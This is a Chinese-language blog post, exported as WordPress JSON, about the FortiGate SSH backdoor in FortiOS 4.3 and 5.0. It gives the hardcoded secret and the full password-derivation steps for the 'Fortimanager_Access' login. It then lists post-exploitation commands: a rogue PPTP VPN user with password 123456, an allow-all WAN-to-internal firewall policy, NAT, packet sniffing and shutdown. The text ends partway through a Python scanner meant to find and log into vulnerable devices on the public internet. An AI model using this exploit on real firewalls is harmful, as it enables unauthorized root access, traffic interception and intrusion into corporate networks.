{"id":159,"date":"2016-01-15T09:24:14","date_gmt":"2016-01-15T09:24:14","guid":{"rendered":""},"modified":"2016-01-15T09:24:14","modified_gmt":"2016-01-15T09:24:14","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=159","title":{"rendered":"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b"},"content":{"rendered":"<div class=\"gfmr-markdown-container\"><div class=\"gfmr-markdown-source\" style=\"display: none;\">&lt;p&gt;&nbsp;&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;font-size:12pt;&quot;&gt;\u6f0f\u6d1e\u6982\u8981&lt;\/span&gt;&lt;\/b&gt;&lt;b&gt;&lt;span style=&quot;font-size:12pt;&quot;&gt;&lt;\/span&gt;&lt;\/b&gt; &lt;\/p&gt;\n&lt;p&gt;\n\t&nbsp;&nbsp;&nbsp;&nbsp;FortiiGate\u7f51\u7edc\u5b89\u5168\u5e73\u53f0\u662f\u7531Fortinet\uff08\u98de\u5854\uff09\u516c\u53f8\u63a8\u51fa\u7684\u7f51\u7edc\u9632\u706b\u5899\u4ea7\u54c1\uff0c\u5305\u62ec\u9ad8\u6027\u80fd\u6570\u636e\u4e2d\u5fc3\u9632\u706b\u5899\u548cNGFW\uff08\u4e0b\u4e00\u4ee3\u9632\u706b\u5899\uff09\u4ee5\u53caUTM\uff08 \u7edf\u4e00\u5a01\u80c1\u7ba1\u7406\uff09\u3002\u8fd9\u6b21\u66b4\u51fa\u6765\u7684\u662f\u4e00\u4e2assh\u540e\u95e8\uff0c\u653b\u51fb\u8005\u80fd\u5229\u7528\u6b64\u540e\u95e8\u76f4\u63a5\u83b7\u53d6Fortigate\u6700\u9ad8\u7ba1\u7406\u6743\u9650\uff0c\u53ef\u4ee5\u63a7\u5236\u8bbe\u5907\u8fdb\u884c\u6bd4\u5982\u6293\u53d6\u6d41\u91cf\u76d1\u542c\uff0cdns\u6b3a\u9a97\uff0c\u5efa\u7acb\u96a7\u9053\u8fdb\u5165\u4f01\u4e1a\u5185\u7f51\u7b49\u653b\u51fb\u884c\u4e3a\u3002\n&lt;\/p&gt;\n&lt;p&gt;\n\t&nbsp;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;background:white;color:black;font-size:12pt;&quot;&gt;\u5f71\u54cd\u8303\u56f4&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;FortiOS 4.3.0-4.3.16 &lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u3000\u3000&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;FortiOS 5.0.0-5.0.7&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&nbsp;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;\u6f0f\u6d1e\u5206\u6790&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u8fd9\u4e2a\u540e\u95e8\u91c7\u7528\u4e86\u8d28\u7591&lt;span&gt;\/&lt;\/span&gt;\u5e94\u7b54\u8eab\u4efd\u8ba4\u8bc1\u6a21\u5f0f\uff1a&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:39pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;1\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5ba2\u6237\u7aef\u5411\u670d\u52a1\u5668\u53d1\u9001\u4e00\u4e2a\u9a8c\u8bc1\u8bf7\u6c42\uff0c\u5982\uff1a&lt;span&gt;&lt;span&gt;&lt;span&gt;ssh Fortimanager_Access@&lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;\/a&gt;&lt;\/span&gt;&lt;span&gt;&lt;\/span&gt;&lt;span&gt;&lt;\/span&gt;&lt;span&gt;&lt;span&gt; &lt;\/span&gt;&lt;\/span&gt;&lt;span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;1.1.1.1&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:39pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;2\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u670d\u52a1\u5668\u63a5\u5230\u6b64\u8bf7\u6c42\u540e\u751f\u6210\u4e00\u4e2a\u968f\u673a\u6570\u4f20\u8f93\u7ed9\u5ba2\u6237\u7aef\uff08\u6b64\u4e3a\u8d28\u7591\uff09\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:39pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;3\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5ba2\u6237\u7aef\u5c06\u63a5\u6536\u5230\u7684\u968f\u673a\u6570\u5f53\u5bc6\u94a5\u7ed3\u5408\u81ea\u5df1\u6240\u6301\u7684\u5b57\u7b26\u4e32\u8ba1\u7b97\u5c31\u80fd\u5f97\u5230\u5bc6\u7801\uff08\u6b64\u4e3a\u5e94\u7b54\uff09\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:39pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&nbsp;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;POC&lt;\/span&gt;&lt;\/b&gt;&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;\u6d41\u7a0b\u5206\u6790&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:18pt;&quot; class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u8be5\u8bbe\u5907\u7684&lt;span&gt;SSH&lt;\/span&gt;\u767b\u9646\u65b9\u5f0f\u91c7\u7528\u4ea4\u4e92\u5f0f\u9a8c\u8bc1\uff0c&lt;span&gt;POC&lt;\/span&gt;\u6d41\u7a0b\u5206\u89e3\u5982\u4e0b\uff1a&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;1\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5ba2\u6237\u7aef\u53d1\u8d77&lt;span&gt;ssh&lt;\/span&gt;\u8fde\u63a5\u8bf7\u6c42\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;2\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u670d\u52a1\u7aef\u8fd4\u56de\u4e00\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;3\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5ba2\u6237\u7aef\u83b7\u53d6\u8fd9\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\u540e\u7ed3\u5408\u672c\u5730\u6240\u6301\u6709\u7684\u5b57\u7b26\u4e32\u683c\u5f0f\u5316\u4e3a\u65b0\u4e32\uff1a&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:15pt;margin-left:21pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;12&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5b57\u8282\u7684&lt;span&gt;\\x00&lt;\/span&gt;\u5b57\u7b26&lt;span&gt;+&lt;\/span&gt;\u968f\u673a\u5b57\u7b26\u4e32&lt;span&gt;+&#8217;FGTAbc11*xy+Qqz27&#8217;+&lt;\/span&gt;&lt;\/span&gt;&lt;span&gt; &lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&#8216;\\xA3\\x88\\xBA\\x2E\\x42\\x4C\\xB0\\x4A\\x53\\x79\\x30\\xC1\\x31\\x07\\xCC\\x3F\\xA1\\x32\\x90\\x29\\xA9\\x81\\x5B\\x70&#8217;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;4\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u4f7f\u7528&lt;span&gt;SHA1&lt;\/span&gt;\u7b97\u6cd5\u8ba1\u7b97\u4e0a\u8ff0\u5b57\u7b26\u4e32\u7684\u6458\u8981\uff0c\u8bb0\u4f5c&lt;span&gt;digest.&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;5\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5728&lt;span&gt;digest&lt;\/span&gt;\u5b57\u7b26\u4e32\u524d\u6dfb\u52a0&lt;span&gt;12&lt;\/span&gt;\u5b57\u8282\u7684&lt;span&gt;\\x00&lt;\/span&gt;\u5b57\u7b26\u540e\u8fdb\u884c&lt;span&gt;base64&lt;\/span&gt;\u7f16\u7801\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;6\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5728\u7f16\u7801\u540e\u7684\u5b57\u7b26\u4e32\u524d\u6dfb\u52a0&lt;span&gt;\u2019AK1\u2019&lt;\/span&gt;\u5b57\u7b26\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p style=&quot;text-indent:-18pt;margin-left:36pt;&quot; class=&quot;MsoListParagraph&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;span&gt;7\u3001&lt;span&gt;&nbsp; &lt;\/span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u6700\u540e\u6240\u5f97\u5b57\u7b26\u4e32\u4e3a\u5bc6\u7801\u3002&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;&lt;\/span&gt;&lt;\/b&gt;&nbsp;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;\u6f0f\u6d1e\u9a8c\u8bc1&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u8d28\u7591\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;a id=&quot;ematt:345&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; alt=&quot;1.jpg&quot; src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg&quot; width=&quot;538&quot; height=&quot;99&quot; \/&gt;&lt;\/a&gt;&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span&gt;&lt;\/span&gt;&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;\u5e94\u7b54\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:9pt;&quot;&gt;&lt;a id=&quot;ematt:347&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201601\/15601452850149.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; alt=&quot;2.jpg&quot; src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201601\/15601452850149.jpg&quot; width=&quot;451&quot; height=&quot;61&quot; \/&gt;&lt;\/a&gt;&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t\u56fd\u5185\u5171\u68c0\u6d4b\u51fa\u53d7\u5f71\u54cd\u7684\u8bbe\u5907\uff1a\n&lt;\/p&gt;\n&lt;p&gt;&lt;a id=&quot;ematt:349&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201601\/85ec1453168230.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img title=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; alt=&quot;results.jpg&quot; src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201601\/85ec1453168230.jpg&quot; width=&quot;395&quot; height=&quot;51&quot; \/&gt;&lt;\/a&gt; &lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&nbsp;\n&lt;\/p&gt;\n&lt;p&gt;\n\t&lt;span style=&quot;font-size:16px;&quot;&gt;&lt;strong&gt;\u6f0f\u6d1e\u5229\u7528&lt;\/strong&gt;&lt;\/span&gt;&lt;br \/&gt;\n&nbsp;\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u83b7\u53d6\u5230\u9632\u706b\u5899\u7684root\u6743\u9650\uff0c\u6240\u6709\u9632\u706b\u5899\u7684\u64cd\u4f5c\u90fd\u53ef\u4ee5\u505a\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u521b\u5efaVPN\u7684\u65b9\u5f0f\u7ee7\u7eed\u8fdb\u884c\u5185\u7f51\u6e17\u900f\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u9632\u706b\u5899\u81ea\u5e26\u7684\u6293\u5305\u529f\u80fd\u76d1\u542c\u6d41\u91cf\u3002\n&lt;\/p&gt;\n&lt;p&gt;\n\t1\u3001\u67e5\u770b\u7cfb\u7edf\u72b6\u6001&lt;br \/&gt;\nget system status\n&lt;\/p&gt;\n&lt;p&gt;\n\t2\u3001\u521b\u5efaVPN\uff0c\u8fde\u63a5\u540e\u53ef\u7528nmap\u5bf9\u5185\u7f51\u8fdb\u884c\u626b\u63cf\u3002&lt;br \/&gt;\nconfig vpn pptp&lt;br \/&gt;\nset status enable&lt;br \/&gt;\nset eip 192.168.200.100&lt;br \/&gt;\nset sip 192.168.200.1&lt;br \/&gt;\nset usrgrp Guest-group&lt;br \/&gt;\nend&lt;br \/&gt;\nconfig user local&lt;br \/&gt;\nedit &#8220;guest&#8221;&lt;br \/&gt;\nset type password&lt;br \/&gt;\nset passwd 123456&lt;br \/&gt;\nnext&lt;br \/&gt;\nend&lt;br \/&gt;\nconfig user group&lt;br \/&gt;\nedit &#8220;Guest-group&#8221;&lt;br \/&gt;\nset profile &#8220;unfiltered&#8221;&lt;br \/&gt;\nset member &#8220;guest&#8221;&lt;br \/&gt;\nnext&lt;br \/&gt;\nend&lt;br \/&gt;\nconfig firewall policy&lt;br \/&gt;\nedit 9&lt;br \/&gt;\nset srcintf &#8220;wan1&#8221;&lt;br \/&gt;\nset dstintf &#8220;internal&#8221;&lt;br \/&gt;\nset srcaddr &#8220;all&#8221;&lt;br \/&gt;\nset dstaddr &#8220;all&#8221;&lt;br \/&gt;\nset action accept&lt;br \/&gt;\nset schedule &#8220;always&#8221;&lt;br \/&gt;\nset service &#8220;ANY&#8221;&lt;br \/&gt;\nnext&lt;br \/&gt;\nend\n&lt;\/p&gt;\n&lt;p&gt;\n\t3\u3001\u76d1\u542c\u6d41\u91cf&lt;br \/&gt;\ndiag sniffer packet any none 3&nbsp;\u6355\u83b7\u6240\u6709\u63a5\u53e3\u7684\u6570\u636e\u5305\n&lt;\/p&gt;\n&lt;p&gt;\n\t3\u3001\u67e5\u770b\u5168\u5c40\u8def\u7531\u8868&lt;br \/&gt;\nget router info routing-table all\n&lt;\/p&gt;\n&lt;p&gt;\n\t4\u3001\u67e5\u770bDNS&lt;br \/&gt;\nshow system dns\n&lt;\/p&gt;\n&lt;p&gt;\n\t5\u3001\u521b\u5efa\u9759\u6001NAT&lt;br \/&gt;\nconfig firewall vip&lt;br \/&gt;\nedit &#8220;NAT_200.1.1.10&#8221;&lt;br \/&gt;\nset extip 200.1.1.10&lt;br \/&gt;\nset extintf &#8220;port1&#8221;&lt;br \/&gt;\nset mappedip 10.1.1.10&nbsp;&lt;br \/&gt;\nnext&lt;br \/&gt;\nend\n&lt;\/p&gt;\n&lt;p&gt;\n\t6\u3001\u5173\u95ed\/\u91cd\u542f\u8bbe\u5907&lt;br \/&gt;\nexec shutdown &lt;br \/&gt;\nexec reboot&nbsp;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span&gt;&lt;\/span&gt;&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;b&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12pt;&quot;&gt;\u516c\u7f51\u626b\u63cf\u4ee3\u7801\uff1a&lt;span&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;\/b&gt;\n&lt;\/p&gt;\n&lt;p&gt;&nbsp;&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import socket&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import select&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import sys&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import paramiko&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;from paramiko.py3compat import u&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import base64&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import hashlib&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import termios&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import tty&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import thread&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import time&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;import threading&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;results_fd=&#8221;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;threadCount=0&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;scanCount=0&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;mutex=thread.allocate_lock()&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;file_mutex=thread.allocate_lock()&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;def custom_handler(title, instructions, prompt_list):&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;n = prompt_list[0][0]&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;m = hashlib.sha1()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;m.update(&#8216;\\x00&#8217; * 12)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;m.update(n + &#8216;FGTAbc11*xy+Qqz27&#8217;)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;m.update(&#8216;\\xA3\\x88\\xBA\\x2E\\x42\\x4C\\xB0\\x4A\\x53\\x79\\x30\\xC1\\x31\\x07\\xCC\\x3F\\xA1\\x32\\x90\\x29\\xA9\\x81\\x5B\\x70&#8217;)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;h = &#8216;AK1&#8217; + 